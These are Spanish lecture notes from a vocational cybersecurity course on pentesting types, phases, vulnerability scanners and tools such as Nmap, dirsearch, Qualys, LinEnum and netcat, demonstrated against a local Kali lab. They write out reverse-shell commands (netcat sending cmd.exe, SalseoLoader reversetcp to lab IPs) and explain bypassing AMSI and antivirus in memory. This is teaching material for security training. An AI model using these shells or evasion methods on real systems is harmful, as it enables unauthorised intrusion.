Carbon Black (Endpoint Security Solution | VMware Carbon Black Endpoint) es muy bueno, pero
muy caro; Sophos… Hay infinidades, no podemos mostrar todos, pero he mostrado los que son
para mí más relevantes y yo desplegaría en una organización.
ICA0011-S04-C01-V01-Pentesting
(https://lasallefponline.sallenet.org/mod/videofile/view.php?id=111815)
1. ¿Qué es un pentesting?
2. Tipos de pentesting
3. Fases de un pentesting
4. Practicar pentesting
Imagen 68
Página 43 de 141
¿Qué es un pentesting?
Un pentesting son una serie de comprobaciones y pruebas que se realizan contra un sistema
informático, aplicativo web o red en busca de fallos o debilidades.
Imagen 69
Tipos de pentesting
White Box (Caja Blanca). Es cuando una empresa, por ejemplo, contrata los servicios de un
tercero para que le realice una serie de comprobaciones en su sistema informático. Cuando es
un pentesting de caja blanca se conoce la parte de la infraestructura a auditar, o se pueden
proporcionar credenciales, o directamente si es un aplicativo web y tiene parte autenticada y
parte no autenticada, en este caso sí que nosotros tendríamos a la totalidad del aplicativo web.
Por eso se definiría como caja blanca.
Black Box (Caja Negra). No tenemos ningún tipo de información del objetivo o target. Es decir,
a lo mejor solamente nos dan una URL y a partir de esa URL nosotros tenemos que empezar a
auditar. Si tuviera una parte autenticada, o un panel de autenticación, tendríamos que intentar
baipasear dicho panel. Cuando hacemos una caja negra, por ejemplo, en una red local,
automáticamente lo que se suele hacer es que te llevan a un departamento, te dejan conectarte
a una toma de RJ-45 y a partir de ahí tienes que empezar a averiguar cómo conseguirías acceder
a la red interna de la compañía.
Gray Box (Caja Gris). Aquí es un combinado de caja negra y caja blanca. Al final, tenemos parte
de información, pero a lo mejor esta información no es la suficiente como para tener un control
completo de nuestra infraestructura. Por ejemplo, nos dicen que auditemos un Active Directory,
y nos dan un usuario con pocos privilegios. Y nos dicen: con este usuario, simulando a un
empleado, hasta dónde puedes llegar. Aquí es donde entraría la caja gris: tenemos un usuario
con pocos privilegios dentro de la organización, pero no podemos realizar todas las tareas que
hace un administrador global, por ejemplo.
Página 44 de 141
Imagen 70
Test de intrusión. Es cuando realizamos un test contra un sistema y normalmente sin conocer
nada del objetivo, realizándose un test de caja negra.
Análisis de vulnerabilidades. Cuando se realizan estos tipos de escáneres, pueden ser de forma
automática o de forma manual. Aquí entra un poco también dependiendo de lo que la empresa
busque y realmente lo que pueda llegar a pagar: siempre vale más un análisis de
vulnerabilidades manual que automático. Automático al final es coger una herramienta, la
ejecuto, voy quitando los falsos positivos que me pueda generar dicha herramienta y generamos
un reporting/informe.
Ejercicios Red Teaming. Estos tipos de ejercicios simulan un ataque real contra una
organización. Es decir, cuando una compañía contrata un ejercicio de red teaming lo que intenta
es simular qué es lo podría llegar a hacer un ciberdelincuente, desde fuera, sin saber nada de la
organización. En este caso, a lo mejor te dan un target y te dicen tienes que intentar acceder a
los sistemas de esta compañía. Pero no sabes nada más; aquí tienes que tener un equipo muy
bueno detrás donde al final lo que se está buscando/poniendo a prueba es el equipo azul (blue
team), que es el que defiende.
Imagen 71
Página 45 de 141
Fases de un pentesting
Una vez tenemos la información del objetivo (servicios que se están ejecutando, puertos
abiertos/cerrados…) podremos buscar vulnerabilidades [¿por versión?], o usar desde la
parte de recopilación de información escáneres automáticos.
Una vez que hemos encontrado una vulnerabilidad y que vemos que la podemos
explotar, vamos a la fase de explotación.
Explotación de la(s) vulnerabilidad(es). Exploit públicos, Local file inclusion (LFI), Cross-Site
Scripting (XSS).
Siempre que explotamos, explotamos una vulnerabilidad. Puede estar catalogada por el
fabricante o no. Si no estuviera catalogada por el fabricante sería un zero day (ataque
de día cero) o un fallo de configuración.
¿Qué tipo de vulnerabilidad podemos encontrar? Desde un Local file inclusion (LFI) o un
Cross-Site Scripting (XSS) o directamente la vulnerabilidad con exploit públicos (como
pasaba con EternalBlue).
Una vez que hemos conseguido explotar una vulnerabilidad y hemos tenido acceso a un
sistema, la siguiente fase es intentar escalar privilegios, o intentar movernos
internamente por la compañía. Y, a su vez, una vez que nos hemos colado o entrado
dentro de un sistema, lo que siempre vamos a intentar es que cuando ese sistema se
reinicie, nosotros podamos volver a acceder. Para ello entra en juego lo que es la
persistencia.
Una vez que hemos logrado todas estas fases, aunque no tiene por qué haberlas todas
(nosotros podemos llegar hasta una vulnerabilidad y que por su infraestructura no
podamos explotarla). Una vez que hemos ido por cada una de las fases, la última de
todas siempre es la generación de un informe.
Informe Ejecutivo. No debe ser tan técnico, ya que va a ser leído por personas
que a lo mejor no son ingenieros o directamente no saben nada de informática,
pero hay que explicarles por qué su sistema es vulnerable.
Página 46 de 141
Informe Técnico. Donde explicamos cada una de las vulnerabilidades que
hayamos encontrado, junto con una prueba de concepto o una explotación de
cómo se ha conseguido llegar a ella.
Presentación de resultados.
Imagen 72
¿Practicar pentesting?
Hack The Box: Hacking Training For The Best | Individuals & Companies -
https://www.hackthebox.com/
Hack The Box → Plataforma gratuita, aunque luego hay diferentes opciones de pago,
pero es una forma gratuita de practicar contra sistemas reales que son vulnerables a una
vulnerabilidad.
PentesterLab → Es de pago, pero es muy bueno porque está muy actualizado y es muy
recomendable si queremos auditar aplicativos web.
Imagen 73
Página 47 de 141
En el vídeo se muestra Hack The Box, y se dice:
Hay que tener mucho cuidado al realizar pentesting fuera de sitios no autorizados, ya
que es delito.
Tenemos las máquinas donde las podemos descargar, con diferentes niveles. Se
descargan localmente y ya practicamos pentesting en nuestro ordenador.
1. Escáneres
2. Herramientas pentesting
Imagen 74
Escáneres
Se pueden dividir en 2. Sin embargo, hay que tener en cuenta que las herramientas manuales,
aunque están muy automatizadas, no pueden llegar a definirse como un propio escáner
automático donde busca y realiza más acciones que algunas de las herramientas de las cuales
luego hablaremos.
Nessus - También es de pago, aunque tenemos una versión trial de algunos días.
Solamente podemos escanear 16 hosts. Es una herramienta muy buena cuando
tenemos infraestructuras un poco grandes y los rangos de red son grandes. Nos da, de
buenas a primeras, mucha información sobre la organización interna y las
configuraciones que se puedan tener.
Página 48 de 141
Acunetix - Es una herramienta muy utilizada para auditorías web. Es una herramienta
muy potente. También es de pago, pero son las que se suelen utilizar a día de hoy en
auditorías.
Netsparker - Ahora Invicti. Herramienta muy similar a Acunetix, pero de otra compañía.
También es de pago.
He puesto aquí herramientas de pago porque, al final, cuando estás en una organización se usan
herramientas de pago. Bien es cierto que hay veces en las que se utilizan herramientas open
source, pero no tienen el mismo potencial.
Nmap / SPARTA - Para temas de escáneres de IPs, ver qué puertos están abiertos y qué
servicios están corriendo.
Dirbsearch Scanner - Para hacer fuerza bruta a los posibles directorios de un servicio
web, con el fin de encontrar directorios o ficheros que estuvieran ocultos o se hubieran
olvidado y no deberían estar ahí.
Netcat - Es una herramienta muy utilizada para, por ejemplo, enviarnos una consola
desde un sistema a otro, y poder tener una consola de texto.
SalseoLoader - Es otra herramienta que, por ejemplo, nos facilita el baipaseo a una
protección que sacó Microsoft en 2018 —Windows antimalware Scan Interface (AMSI)
—, que evita la ejecución de scripts. Con SalseoLoader lo que hacemos es un baipás de
esa protección incorporada por Microsoft —AMSI— y, a su vez, esto lo inyectamos en
memoria. Es decir, en ningún momento tocaríamos disco, todo lo que ejecutemos a
partir de una Shell enviada con SalseoLoader tendremos todas las opciones ejecutadas
desde memoria. Por lo cual, conseguiremos baipasear a muchos antivirus.
Imagen 75
Página 49 de 141
Qualys
Se explica: qué funcionalidad tiene Qualys, dónde lo colocaríamos dentro de una red y qué
podríamos llegar a hacer con él.
A través de un agente que se instala en cada uno de los equipos. Esto envía información
o ejecuta una serie de acciones que nosotros enviamos desde un dashboard.
Instalar una máquina virtual (.ova), que se llama un appliance, que es lo de la imagen
76. Tenemos que instalarlo en el core de la red, en el centro de nuestra infraestructura,
donde tengamos visibilidad en todas las redes. Si tuviéramos diferentes VLANs,
tendríamos que montar diferentes appliances en cada una de estas VLANs o,
directamente, crear una ruta con Iptables, o con el firewall que se tenga, indicando que
lo que viniera desde la IP del appliance hacia esa VLAN se le permitiera el acceso.
Imagen 76
Nessus
Nessus es un escáner muy versátil para infraestructuras muy grandes. Nosotros, a día de hoy, en
nuestra empresa lo usamos para cuando llegamos a redes muy grandes tener una visibilidad de
qué nos podemos encontrar, para luego ir de forma manual y poco a poco quitando falsos
positivos o centrarnos en otro tipo de vector de ataque.
Imagen 77
Página 50 de 141
Acunetix
Acunetix. Como se ve en la imagen 78, podemos ver que es un escáner que nos permite
diferentes funcionalidades de un escáner web.
Imagen 78
Imagen 79
… y se dice: nosotros hemos escaneado nuestra máquina virtual Kali, que tiene corriendo un
servicio Apache, que se muestra con service apache2 status (imagen 80)…
Página 51 de 141
Imagen 80
Nosotros, con Acunetix, le hemos lanzado un escáner a ese servidor. Podríamos ver diferentes
posibles vulnerabilidades o malas prácticas que tuviera (imagen 81).
Imagen 81
Página 52 de 141
Imagen 82
Es muy similar a Acunetix. Se ha realizado un escáner contra nuestro servidor Apache que
tenemos corriendo en Kali Linux. Indica posibles vulnerabilidades/debilidades. Esto contra una
página web más grande daría mucha más información en caso de que fuese vulnerable (no todo
tiene por qué ser vulnerable).
Imagen 83
Estas aplicaciones no se pueden ejecutar contra entornos no controlados o contra aquellos con
los que no se cuente con la autorización pertinente.
Página 53 de 141
ICA0011-S04-C01-V02-Escaneres automaticos y herramientas de penetracion_2
(https://lasallefponline.sallenet.org/mod/videofile/view.php?id=111817)
Herramientas pentesting
Vamos a ver diferentes herramientas y funcionalidades que vamos a poder obtener con las
herramientas que hemos nombrado en el inicio del tema.
Netcat
netcat es una herramienta muy versátil donde nos permite enviarnos diferentes consolas desde
un sistema. Es muy utilizado para ponernos a la escucha cuando queremos enviar una Reverse
Shell en un pentest o en un test de intrusión. También es muy utilizado para enviarnos ficheros
de una máquina a otra a través de la red.
Argumentos de netcat:
-v
-l
-p
-w
Ejemplo: nc -vlp 80
--
-L: Listen harder, supported only on the Windows version of Netcat. This option makes Netcat
a persistent listener that starts listening again after a client disconnects.
-p: Local port (in listen mode, this is the port that is listened on).
-n: Don't perform a DNS lookup (name resolution) on the names of the machines on the other
side.
-z: Zero I/O mode Recuérdese que I/O significa Input / Output
-w(N): Timeout for connections. A Netcat client or listener with this option will wait for N
seconds to make a connection. For example, w1 or w2.
-v: Be verbose.
-L: Escucha más dura, soportada sólo en la versión de Windows de Netcat. Esta opción hace que
Netcat sea un oyente persistente que comienza a escuchar de nuevo después de que un cliente
se desconecte.
Página 54 de 141
-p: Puerto local (en modo de escucha, este es el puerto en el que se escucha).
-n: No realizar una búsqueda de DNS (resolución de nombres) en los nombres de las máquinas
del otro lado.
-w(N): Tiempo de espera para las conexiones. Un cliente o escuchador Netcat con esta opción
esperará N segundos para realizar una conexión. Por ejemplo, w1 o w2.
Imagen 84
Vamos a ver un ejemplo de cómo enviaríamos una consola de mi sistema anfitrión Windows
hacia mi consola Kali.
Primeramente, desde la consola de Kali Linux se hace nc -vlp 1234 (imagen 85). De este
modo, nos ponemos a la escucha en el puerto 1234, donde va a ser donde nosotros vamos a
ejecutar nuestro netcat en el anfitrión Windows y nos lo vamos a enviar a esta máquina.
Imagen 85
Página 55 de 141
Ahora, en Windows PowerShell se tiene puesto este comando: .\nc.exe 192.168.1.150
1234 -e C:\Windows\System32\cmd.exe (imagen 86).
Y se dice:
Imagen 86
Imagen 87
Página 56 de 141
Imagen 88
Entonces, nos hemos enviado una consola de Windows a nuestro sistema Linux.
dirsearch (https://github.com/maurosoria/dirsearch)
Imagen 89
Página 57 de 141
Argumentos de dirsearch
https://github.com/maurosoria/dirsearch#options
Mandatory:
-l FILE, --url-file=FILE
--raw=FILE Load raw HTTP request from file (use `--scheme` flag
-s SESSION_FILE, --session=SESSION_FILE
Session file
-e EXTENSIONS, --extensions=EXTENSIONS
-X EXTENSIONS, --exclude-extensions=EXTENSIONS
asp,jsp)
-f, --force-extensions
extensions
Dictionary Settings:
-w WORDLIST, --wordlists=WORDLIST
--prefixes=PREFIXES
by commas)
--suffixes=SUFFIXES
Página 58 de 141
--only-selected Remove paths have different extensions from selected
--remove-extensions
admin)
General Settings:
-t THREADS, --threads=THREADS
Number of threads
only directories
-R DEPTH, --max-recursion-depth=DEPTH
--recursion-status=CODES
commas)
--exclude-subdirs=SUBDIRS
-i CODES, --include-status=CODES
-x CODES, --exclude-status=CODES
--exclude-sizes=SIZES
0B,4KB)
--exclude-texts=TEXTS
Página 59 de 141
--exclude-regex=REGEX
--exclude-redirect=STRING
--exclude-response=PATH
--skip-on-status=CODES
--min-response-size=LENGTH
--max-response-size=LENGTH
--redirects-history
quiet mode)
Request Settings:
-m METHOD, --http-method=METHOD
-d DATA, --data=DATA
--data-file=DATA_FILE
-H HEADERS, --header=HEADERS
-F, --follow-redirects
bearer token)
Página 60 de 141
oauth2)
--user-agent=USERAGENT
--cookie=COOKIE
Connection Settings:
localhost:8080, socks5://localhost:8088)
--proxy-auth=CREDENTIAL
--replay-proxy=PROXY
Output:
-o FILE, --output=FILE
Output file
Esta herramienta es muy usada para aplicaciones web, donde nosotros podemos realizar fuerza
bruta de directorios en un servidor web.
Página 61 de 141
Desde la consola de Kali, primero se hace cd dirsearch/ y ls para ver el contenido (imagen
90).
Imagen 90
Luego, se hace python3 dirsearch.py -h, viéndose distintos parámetros (imagen 91)
para poder hacer fuerza bruta al directorio/a los directorios de nuestro aplicativo web.
Imagen 91
Se hace una prueba haciendo fuerza bruta al directorio de nuestro servidor apache localmente.
Para ello, se pone:
python3 dirsearch.py -e txt,php,html -u http://192.168.1.150 -t
15 -w /usr/share/wordlists/dirb/common.txt
Página 62 de 141
-t → Los hilos. Puede entenderse como la velocidad
-w → Para indicar el diccionario. Kali trae diferentes diccionarios con los cuales se puede
trabajar. Están en /usr/share/wordlists/dirb (imagen 92)
Imagen 92
Imagen 93
Imagen 94
Página 63 de 141
Imagen 95
A continuación, se accede a los distintos directorios que se han encontrado (imagen 96).
Imagen 96
Imagen 97
Página 64 de 141
Se accede a index.html (192.168.1.150/index.html) (imagen 98).
Imagen 98
Imagen 99
dirsearch es una herramienta muy versátil de cara a cuando queremos intentar buscar
directorios o posibles rutas para acceder a la información.
dirb
Es otra herramienta, que no está nombrada en la diapositiva, pero que es igual. Se trata de dirb
En el video se ejecuta:
dirb http://192.168.1.150
Página 65 de 141
Imagen 100
https://wfuzz.readthedocs.io/en/latest/#
Wfuzz provides a framework to automate web applications security assessments and could help
you to secure your web applications by finding and exploiting web application vulnerabilities.
Wfuzz proporciona un marco para automatizar las evaluaciones de seguridad de las aplicaciones
web y podría ayudarle a proteger sus aplicaciones web encontrando y explotando las
vulnerabilidades de las mismas.
Imagen 101
Página 66 de 141
LinEnum.sh
https://github.com/rebootuser/LinEnum
https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh
Imagen 102
LinEnum.sh es una herramienta muy utilizada para explotación. Por ejemplo, cuando nosotros
ya tenemos acceso a un sistema operativo y queremos ver qué podemos hacer en él o qué
ficheros tiene mal configurado, ejecutamos la herramienta LinEnum.sh
Imagen 103
Y luego se hace:
Imagen 104
Página 67 de 141
Imagen 105
Y esto lo que va a hacer es un recorrido por todo nuestro sistema operativo indicándonos
posibles configuraciones, aplicaciones que tengamos instaladas, por ejemplo, si tenemos con un
usuario o con un usuario con pocos privilegios si podemos ejecutar cosas con sudo, qué
permisos tenemos en el fichero /etc/passwd (si por ejemplo pudiéramos escribir o
sobrescribirlo), si el fichero /etc/shadow puede ser leído por un usuario que no sea root
(imagen 106).
Imagen 106
Entonces, todo esto nos va a dar una serie de información de nuestro sistema operativo. Siempre
que tenemos acceso a un sistema, hacemos este paso de manera manual o utilizamos este tipo
de herramientas que nos facilita con una ejecución tener mucha información del sistema
operativo.
Página 68 de 141
Información que se incluye:
Contents of /etc/xinetd.conf
Listening TCP
SalseoLoader
https://github.com/Hackplayers/Salsa-tools
Imagen 107
Argumentos de SalseoLoader:
.\SalseoLoader_x86.exe password .\payload.txt reversetcp
192.168.1.100 443
SalseoLoader es una herramienta creada por un compañero que juega con nosotros en un
equipo de Hack The Box que lo presentó en el congreso de H-c0n - H-C0N : HACKPLAYERS'
HACKING CONFERENCE (https://www.h-c0n.com/p/home.html).
Con este binario creado por Luis Vacas de Santos, lo que se consigue es realizar un baipás a esta
protección implementada por Windows donde nosotros también podemos conseguir un baipás
de muchos de los antivirus porque todo esto se ejecuta siempre en memoria, y no vamos a tocar
disco.
Casi todos los antivirus cuando analizan o verifican algo es cuando nosotros hemos escrito o
hemos llevado un fichero a una determinada ruta, que pueda ser más o menos potencial[mente
peligrosa]. Muchos antivirus implementan el tema de heurística/comportamiento y
ven/trabajan con la memoria, pero no todos los antivirus lo hacen. A excepción de los de última
generación.
Página 69 de 141
Para poder utilizar SalseoLoader, tenemos que ir al GitHub de Hackplayers:
https://github.com/Hackplayers/Salsa-tools y clonar el repositorio.
Vamos a tener que compilar una DLL. Y nos crea un binario, bien en x86 o x64, donde nosotros
vamos a integrar una contraseña de ejecución de este .exe
¿Por qué indicamos nosotros una contraseña? Porque así cada vez que nosotros queramos
ejecutarlo podemos cambiar esta contraseña y los antivirus, cuando vayan a intentar verlo, si no
están mirando el comportamiento van a ver que cada vez se envía una contraseña cifrada en
RC4 y no van a ser capaz de desencriptarla, con lo cual vamos a poder obtener una consola ya
ejecutándose en memoria y que ya nos permite una serie de funcionalidades.
Imagen 108
SalseoLoader_x86.exe → Es un binario
elfuckingmal.txt → Es un fichero que contiene caracteres raros; que esto está cifrado
(imagen 109).
Imagen 109
Página 70 de 141
Le vamos a indicar el tipo de Shell que nosotros vamos a querer enviarnos y con la contraseña
que nosotros lo hemos compilado.
Imagen 110
Entonces:
.\elfuckingmal.txt → El fichero que es la password con todos esos caracteres raros que
hemos visto cifrados en RC4
Reverse Shell significa que desde esta máquina nos vamos a conectar a la máquina donde vamos
a estar escuchando.
Imagen 111
Página 71 de 141
Se ejecuta SalseoLoader en Windows PowerShell (imagen 112). Todo lo de SalseoLoader se
ejecuta en la memoria sin que toque disco.
Imagen 112
Ahora, en Kali Linux tenemos automáticamente una Shell enviada y ya preparcheando Windows
antimalware Scan Interface (AMSI) (imagen 113).
Imagen 113
ICA0011-S04-C01-V03-Qualys
(https://lasallefponline.sallenet.org/mod/videofile/view.php?id=111819)
1. Qualys
Imagen 114
Página 72 de 141
Qualys es una herramienta muy usada en entornos empresariales.
Qualys
En la imagen 115 se ve cómo veríamos nosotros lo que es una máquina virtual de Qualys, un
appliance, que es por el cual nosotros vamos a poder realizar los diferentes escaneos a nuestra
infraestructura. Todo esto es gestionado a través de un dashboard que seguidamente veremos.
Y hay otra funcionalidad que nosotros por ejemplo podemos gestionar los endpoints o los
equipos a través de un agente, que es un programita que se instala en cada uno de los equipos,
y se conecta con nuestro dashboard.
Imagen 115
Primero hay que acceder a la URL de acceso a nuestro Tenant o dashboard que nos facilita
Qualys. Es una herramienta de pago que se suele utilizar en los entornos empresariales.
Imagen 116
Página 73 de 141
Una vez que estamos autenticados, en la imagen 117 se ve la primera pantalla que nos
encontramos una vez que hemos accedido al dashboard de un gestor de vulnerabilidades como
es Qualys.
Imagen 117
En Vulnerability Management se pueden ver los diferentes módulos que nos facilita Qualys,
como:
Vulnerability Management
Threat Protection
IT OPERATIONS (2)
Global IT Asset Inventory → Inventariado, junto con las aplicaciones que puedan
llegar a tener instalados los equipos, dependiendo de si tenemos un agente
instalado en los endpoints
COMPLIANCE (2) → En esta parte se rige sobre ciertas normativas, como la PCI o temas
de la ISO 27 001
Policy Compliance
PCI Compliance
Cloud Agent
UTILITIES
Página 74 de 141
Administration → Área de Administración. Podemos usar para la gestión de los
usuarios que van a acceder a nuestra plataforma, y van a poder realizar
diferentes acciones dentro de la plataforma.
Imagen 118
Se accede a Asset Overview, y se dice previamente había realizado un escaneo y vamos a ver
cómo se mostrarían estos dashboard de cara a la gestión y al manejo de las vulnerabilidades que
pueda tener un equipo. Por ejemplo, se ve que se ha escaneado un Windows 2012 (imagen 119).
Imagen 119
Y si se pincha dentro de él, se indica su nombre, IP… Cabe destacar que si tuviéramos un agente
instalado en esta máquina (el Windows 2012), obtendríamos mucha más información, como el
software instalado (Installed Software). En Vulnerabilities se ven las vulnerabilidades
encontradas, con su Severity (también se da información sobre las vulnerabilidades y los
parches).
Posteriormente, se accede a Global IT Asset Inventory. Esto mostraría un inventario de todas las
máquinas de nuestra organización. Tendríamos un control y podríamos filtrar; por ejemplo:
Página 75 de 141
quiero que me digas los Windows 7 que hay con vulnerabilidades en la compañía; o quiero ver la
gente que tiene este software instalado porque es vulnerable. Es decir, a simple vista se tiene
mucha información y control sobre las vulnerabilidades y cómo se van parcheando dichas
vulnerabilidades.
Luego, Qualys tiene un acuerdo con ciertas empresas de que cuando parchean algo
automáticamente ellos reciben las firmas casi que 5 días antes que otras aplicaciones.
Imagen 120
¿Cómo realizamos nosotros un escaneo en Qualys? Tenemos diferentes formas. Los escaneos
los podemos hacer a través de una appliance, que es una máquina virtual que ahora se ve cómo
es, o instalando un agente como se ha indicado anteriormente. Lo más recomendable siempre
es instalar un agente, porque se va a poder obtener mucha más información y más precisa sobre
cada equipo de la organización. Si no se puede instalar un agente (por ejemplo, porque la
organización no lo permite), pues al final se va a tener que usar un appliance que tenga
visibilidad para toda la red.
Imagen 121
Seguidamente, se clica en New → Virtual Scanner Appliance…, abriéndose la ventana Add New
Virtual Scanner. Luego, habría que seguir los pasos señalados (imagen 122).
Página 76 de 141
Imagen 122
Seguidamente, se enseña una máquina virtual en VMware (imagen 123), aunque la imagen
puede ser para VirtualBox, para VMware, para QEMU, para Hyper-V…
Imagen 123
Nosotros automáticamente configuraríamos aquí (en la máquina virtual con Qualys) una IP (o
bien por protocolo DHCP, que la asignara). Este equipo automáticamente, una vez que se ha
activado, y se ha actualizado completamente, aquí (en Vulnerability Management → Appliances
→ New → Virtual Scanner Appliance) nos aparece el icono de que se ha conectado (en este caso
la Appliance se llama Prueba_2). Si pinchamos en él nos dice que está conectado (Connected).
También se muestra otra información, como Owner, ID… Cada 180 segundos se hacen peticiones
de conexión para saber si está activo (Polling).
Imagen 124
Si se le da al botón Actions, ubicado en la derecha, aparecen las opciones Info, Edit y Delete. Si
se le da a Info se obtiene información más detallada (imagen 125).
Página 77 de 141
Imagen 125
Si nosotros quisiéramos realizar un escaneo a través del appliance, se le daría a Scans → New
→ Scan (abriéndose la ventana Launch Vulnerability Scan). Pondríamos un Title, en Scanner
Appliance seleccionaríamos el appliance con el cual queremos realizar el escaneo (en este caso,
Prueba_2), y en IPs/Ranges indicaríamos los rangos de IPs que nosotros queremos escanear.
Nota: También se pueden generar diferentes grupos con diferentes máquinas para realizar
periódicamente una serie de escaneos [probablemente a través de Asset Groups - Grupos de
activos].
Imagen 126
Página 78 de 141
En el vídeo se hace clic en Launch, apareciendo la ventana Launch Scan (imagen 127).
Seguidamente, se le da a Add…
Imagen 127
Imagen 128
En el apartado Scans se ve que el escáner está Status Queued (En cola) (imagen 129).
Imagen 129
Por otra parte, en Schedules podemos generar tareas programadas para realizar diferentes
escaneos (imagen 130).
Imagen 130
Página 79 de 141
Y hasta aquí Qualys. Como podemos ver, es una herramienta muy versátil, muy usada hoy día
en entornos empresariales para la gestión y el ciclo de vida de las vulnerabilidades. Es una
herramienta que no se puede obtener gratis, pero si el día de mañana trabajáis en seguridad,
seguramente os encontraréis con herramientas similares a Qualys y el tratamiento de gestión,
cambiando los menús y dashboards, casi todas al final hacen lo mismo.
ICA0011-S04-C01-V04 - Nmap
(https://lasallefponline.sallenet.org/mod/videofile/view.php?id=111820)
1. Nmap
2. Tipos de escaneos
3. Comandos básicos
4. Scripts
Imagen 131
Nmap
¿Qué es Nmap?
Nos permite analizar y detectar qué puertos tiene abiertos una máquina. Aparte de qué puertos
tiene abierta una máquina, nos permite identificar qué servicio es el que está detrás de ese
puerto, independientemente si está en el 60000, en el 1, en el 20 o en el 40.
Página 80 de 141
Imagen 132
Descargas: https://nmap.org/download
En el vídeo se instala en Kali Linux, por lo que desde la Terminal se usa el comando apt-get
install -y nmap (imagen 133).
Nótese que:
This option is followed by one or more packages desired for installation. Each package is a
package name, not a fully qualified filename // Esta opción va seguida de uno o varios paquetes
que se desean instalar. Cada paquete es un nombre de paquete, no un nombre de archivo
completo
Automatic yes to prompts. Assume "yes" as answer to all prompts and run non-interactively. If
an undesirable situation, such as changing a held package or removing an essential package,
occurs then apt-get will abort. // Sí automático a las preguntas. Asume "sí" como respuesta a
todas las preguntas y se ejecuta de forma no interactiva. Si se produce una situación no deseada,
como el cambio de un paquete retenido o la eliminación de un paquete esencial, apt-get
abortará.
Imagen 133
La documentación que trae Nmap es muy buena. Para ver las flags:
https://nmap.org/book/port-scanning-options.html // https://nmap.org/man/es/man-
briefoptions.html En el vídeo se explican algunas flags; las más importantes.
Página 81 de 141
Tipos de Escaneos
Imagen 134
-sS → SynScan. No realiza una conexión TCP completa, por eso se dice que es más
rápido.
-sT → Analiza los puertos TCP, pero sí necesita que se realice una conexión completa
TCP. Por eso es un pelín más lento, pero es más fiable.
Luego tenemos infinidades de flags diferentes, cada uno con una determinada acción. Esto al
final lo vamos a utilizar dependiendo del escenario en el cual nos encontremos. En determinados
momentos utilizaremos una u otra, pero normalmente vamos a utilizar las genéricas.
Si se ve la imagen 135:
Esto es la comunicación vía a nivel de red. Si nosotros nos ponemos con Wireshark, esto es lo
que nosotros vamos a ver por cada intento de averiguar el puerto que tiene disponible la víctima.
Página 82 de 141
Imagen 135
Nmap ofrece un acercamiento más sencillo, basado en seis plantillas de tiempos. Puede
especificar cualquiera de éstas con la opción -T seguido de un número o su nombre. Los nombres
de las plantillas son: paranoico (0), sigiloso (1), amable (2), normal (3), agresivo (4) y loco (5)
(respectivamente "paranoid", "sneaky", "polite", "normal", "aggressive" e "insane", N. de. T.).
Las primeras dos se utilizan para evadir IDS. El modo amable reduce el sondeo para que éste
utilice menos ancho de banda y menos recursos de los sistemas analizados. El modo normal es
el valor por omisión, así que la opción -T3 no hace nada realmente. El modo agresivo hace que
los sondeos sean más rápidos al asumir que está en una red razonablemente más rápida y fiable.
En modo loco asume que está en una red extraordinariamente rápida o que está dispuesto a
sacrificar fiabilidad por velocidad.
Estas plantillas permiten que el usuario especifique cuan agresivo quiere ser, al mismo tiempo
que deja que sea Nmap el que escoja los valores exactos de tiempos. Las plantillas hacen también
algunos ajustes menores de velocidad para los cuales no existe aún una opción de control de
grano fino. Por ejemplo, -T4 prohíbe que la expiración en sondeos dinámicos exceda los 10ms
para puertos TCP y -T5 limita ese valor a 5 milisegundos. Las plantillas pueden utilizarse
combinadas con controles de grano fino, siempre que se especifique primero la plantilla. Si no lo
hace así los valores especificados por la plantilla modificarán los valores que defina como opción.
Le recomiendo utilizar -T4 cuando sondee redes razonablemente modernas y fiables. Mantenga
Página 83 de 141
esa opción al principio de la línea de órdenes aun cuando especifique otras opciones de control
de grano fino para poder beneficiarse de las optimizaciones menores que activa.
Le recomiendo que empiece siempre con -T4 si está utilizando una conexión de banda ancha o
conexión Ethernet decente. Algunas personas adoran la opción -T5 aunque es demasiado
agresiva para mi gusto. Otras personas especifican la opción -T2 porque piensan que es menos
probable que bloqueen sistemas o porque se consideran a sí mismos amables en general. Muchas
veces no se dan cuenta de lo lenta que -T Polite es realmente. Su sondeo puede llegar a
tardar diez veces más que un sondeo por omisión. Dado que las caídas de sistemas y problemas
de ancho de banda son raros con las opciones de tiempos por omisión (-T3), lo recomiendo
habitualmente para las personas cuidadosas. Para reducir estos problemas es más efectivo
omitir la detección de versiones que jugar con los valores de tiempos.
Mientras que puede ser útil evitar alarmas de IDS con -T0 y -T1, éste tardará mucho más
tiempo para sondear miles de sistemas o puertos. Para este tipo de sondeos puede que prefiera
fijar los valores exactos de tiempos que necesita antes que utilizar los valores predefinidos para
-T0 y -T1.
Tras ejecutar nmap -sT -T4 localhost en Kali Linux, se ve que se tiene abierto el puerto
111/tcp y el 3001/tcp (en este último caso aparece como SERVICE nessus, que es otro
framework para poder realizar escaneos de vulnerabilidades) (imagen 136).
Imagen 136
Página 84 de 141
SynScan (Half-Scan) -sS
Si nos fijamos en la parte de la izquierda de la imagen 137, para identificar que tenemos un
puerto abierto:
Si esta comunicación se efectúa de esta forma, se establece que el puerto está abierto.
En la parte derecha de la imagen 137 se ve qué ocurre para determinar que el puerto está
cerrado:
Imagen 137
Página 85 de 141
Primeramente, desde la consola de Kali Linux se pone nmap -sS -T4 localhost (imagen
138).
Imagen 138
No obstante, la mayor rapidez que ofrece -sS se nota más cuando se analiza un rango
completo. Entonces, en la consola de Kali Linux se pone: nmap -sS -T4 192.168.1.0/24
(imagen 139).
Imagen 139
Página 86 de 141
ACK Scan -sA
Para determinar que el puerto no está filtrado —es decir, que está abierto— se envía un ACK, y
si se responde con un RST el puerto está abierto.
Imagen 140
En la consola de Kali Linux se pone: nmap -sA -T4 localhost (imagen 141).
Imagen 141
Aunque el vídeo se dice: yo nunca uso -sA (ACK Scan). Yo siempre uso:
-sU UDP
A continuación, en la consola de Kali Linux se hace un ejemplo con -sU, poniéndose: nmap -
sU localhost -T4 (imagen 142). Se ve que se tiene abierto el puerto 68/udp (aunque
luego se indica que este es un falso positivo) y 111/udp
Página 87 de 141
Imagen 142
También se ejecuta este comando: nmap -sU localhost -T4 --open, indicándose que
el puerto 68/udp es un falso positivo.
Imagen 143
ICA0011-S04-C01-V04 - Nmap_2
(https://lasallefponline.sallenet.org/mod/videofile/view.php?id=111821)
Comandos básicos
Ahora se ven algunos de los comandos básicos que podemos usar con Nmap.
DETECCIÓN DE SERVICIO/VERSIÓN:
MISCELÁNEO:
Página 88 de 141
En el vídeo se dice que con -A se envía -sV -O -sC
The Nmap Scripting Engine (NSE) is one of Nmap's most powerful and flexible features. It
allows users to write (and share) simple scripts (using the Lua programming language) to
automate a wide variety of networking tasks. Those scripts are executed in parallel with the
